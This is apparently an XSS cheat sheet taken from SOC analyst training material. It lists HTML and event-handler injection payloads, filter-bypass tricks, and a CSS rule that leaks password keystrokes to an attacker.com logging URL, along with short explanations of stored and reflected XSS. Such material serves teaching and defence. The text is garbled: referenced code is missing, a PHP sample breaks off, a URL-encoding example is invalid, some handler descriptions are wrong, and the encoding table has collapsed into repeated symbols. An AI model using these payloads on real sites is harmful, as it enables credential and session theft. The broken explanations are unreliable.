Cross-site Scripting (XSS) Cheat Sheet
Cross-site Scripting (XSS) Cheat Sheet
HTML Tricks
1) <img/src=”picture_name.png” alt=”image”>
Objective: This is used to display the image specified on an HTML page of file type and
renames the name of the image accordingly with the name specified in the alt tag.
2) <object>
<param name=”src” value=”javascript:alert(0)”>
</param>
</object>
Objective: <param> tag is used to define the parameter name for object plugins, which
are embedded within the <object> tag. These plugins may also include the multimedia
audio/video file types. Here we are assigning the source as parameter name.
3) <isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
Objective: The <isindex> element creates single line search prompt for retrieving the
contents of the document. Here it retrieves the image of source 1 and displays the alert
message if any error occurs which is specified in the action element.
CSS Tricks
1) <style>
Input[type=password][value^=a]
{
-background:”//attacker.com/log.php?hash[]=a”;
}
Input[type=password][value^=b]
{
-background:”//attacker.com/log.php?hash[]=b”;
}
</style>
Event Handlers
Event handlers are supposed to handle the events of physical devices dynamically. This includes
the operations and functionalities of program resources. These are few operations which the
hacker attempts using these operations.
1) onBeforeCopy()
Objective: It is used by the attacker to execute the attack string before selecting the
content copied to the clipboard.
2) onAbort()
Objective: This is aborted by the user upon loading the image.
3) onAfterUpdate()
Objective: This will activate the data object after updating the source object data.
4) onActivate()
Objective: This is used to set the active element of an object.
5) FSCommand()
Objective: This command is used by the attacker to alter embedded flash objects.
URL Strings
Assume that some url like “http://facebook.com/” is disabled programmatically. Than
the hacking attempt can be made as below.
We can provide IP as:
<a href=”http://54.192.8.148/>link</a>
Url encoding can be provided as below.
<a href=http://%66%66%66%2C%56%6G%6G%67%6E%65%2C%63%6D%6E> link </a>
Types of XSS
These exists three types of XSS
Persistent XSS in which the attack is stored in the server website.
Non Persistent XSS where user has to invoke a link.
DOM based XSS where issues start at client side scripting.
1) Persistent XSS
The below code explains the exploitation of application.
Page | 11 Certified SOC Analyst Copyright © by EC-Council
Objective:
Here initially we have designed the webpage in which a form includes text field labelled
Name, text area labelled Message and a button to sign into guest book. The above code
is executed when user inputs the data and submits the action to post it to the server
database. In the above code there are two parameters Message and Name, which is not
sanitized properly so we use the trim operation to sanitize it in order to store in the
mysql database server upon submitting the user input. The code executes the query at
client side and displays successful query message else returns the mysql error message
and directly stores it over server database. However, the code has the defect, which is
not sanitized properly even after using the trim operation. So when the user types the
javascript code as input like <script> alert(“here it comes the stored XSS”); </script>
than because of sanitization issue it makes the hacker an opportunity to attack the
website and store the given input in the server database.
2) Non Persistent XSS
The below code explains how the application is exploited because of injecting the
malicious JavaScript URL as input.
<?php
if(!array_key_exists("name",$_GET) ||$_GET['name'] == NULL ||
$_GET['name']=='')
{
$isempty=true;
}
Page | 12 Certified SOC Analyst Copyright © by EC-Council
XSS Locator
Page | 13 Certified SOC Analyst Copyright © by EC-Council
Character Encoding
1) <
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<